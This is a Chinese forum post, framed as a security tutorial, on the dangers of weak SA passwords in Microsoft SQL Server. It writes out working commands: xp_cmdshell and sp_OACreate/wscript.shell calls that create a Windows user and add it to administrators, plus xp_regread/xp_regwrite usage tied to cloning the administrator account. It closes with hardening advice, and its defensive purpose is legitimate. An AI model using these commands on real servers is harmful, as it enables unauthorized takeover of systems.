架构师_程序员_码农网

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6072|回复: 0

[资料] 2011年MSSQL系统安全之SA弱口令安全隐患教程

[复制链接]
发表于 2014-11-26 15:48:23 | 显示全部楼层 |阅读模式
存储过程是存储在SQLServer中的预先写好的SQL语句集合,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令,而SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值,比如执行:
  exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net   localgroup administrators test /add'
  这样对方的系统就被添加了一个用户名为test,密码为1234,有管理员权限的用户,如图一所示。

  现在你应该明白为什么得到SA密码,就可以得到系统的最高权限了吧。而往往不少网络管理员不清楚这个情况,为自己的SA用户起了一些诸如1234,4321等简单的密码,甚至根本就不设置密码,这样网络入侵者就可以利用一些黑客工具很轻松的扫描到SA的密码,进而控制计算机。
  除了xp_cmdshell,还有一些存储过程也有可能会被入侵者利用到:
  1、xp_regread(这个扩展存储过程可以读取注册表指定的键里指定的值),使用方法(得到机器名):
  DECLARE @test varchar(50)  EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',  @key='system\controlset001\control\computername\computername',  @value_name='computername',  @value=@test OUTPUT  SELECT @test
  2、xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb):
  EXEC master..xp_regwrite  @rootkey='HKEY_LOCAL_MACHINE',  @key='SOFTWARE\aaa',  @value_name='aaaValue',  @type='REG_SZ',  @value='bbb'
  如果被入侵的计算机的administrator用户可以浏览注册表中的HKEY_LOCAL_MACHINE\SAM\SAM\信息,那使用 xp_regread、xp_regwrite这两个存储过程可以实现克隆administrator用户,得到管理员权限。 xp_regdeletekey、xp_regdeletevalue也会对系统带来安全隐患。   3、OLE相关的一系列存储过程,这系列的存储过程有sp_OACreate, sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod, sp_OASetProperty,sp_OAStop,使用方法:
  DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT   EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test   1234 /add'--
  这样对方系统增加了一个用户名为test,密码为1234的用户,再执行:
  DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT   EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup   administrators test /add '--
  用户test,被加入管理员组。   解决办法:给SA起个足够复杂的密码,使网络攻击者很难破解出来。为了保险,我们还要到在 SQLServer的查询分析器中使用存储过程sp_dropextendedproc删除xp_cmdshell等存储过程,需要时再使用 sp_addextendedproc恢复即可,具体操作可以在SQLServer中查询sp_dropextendedproc和 sp_addextendedproc的使用帮助,需要注意一点的是删除OLE相关系列的存储过程,可能会造成企业管理器中的某些功能无法使用,这里笔者不建议删除。
  既然我们知道了SP_OACREATE的使用方法,那我们就可以到\WINNT \system32下找到cmd.exe,net.exe和net1.exe这三个文件,在“属性”—“安全”中把可以对他们访问的用户全部删除掉,这样就无法使用SP_OACREATE来增加系统用户了,在我们需要访问这些文件的时候再加上访问用户就可以了。




上一篇:2011年MSSQL语句密码验证的安全漏洞教程
下一篇:2011年MSSQL2000中默认sa帐号改名和删除的最安全方法
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

免责声明:
码农网所发布的一切软件、编程资料或者文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。

Mail To:help@itsvse.com

QQ|手机版|小黑屋|架构师 ( 鲁ICP备14021824号-2 )|网站地图

GMT+8, 2024-4-29 07:14

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表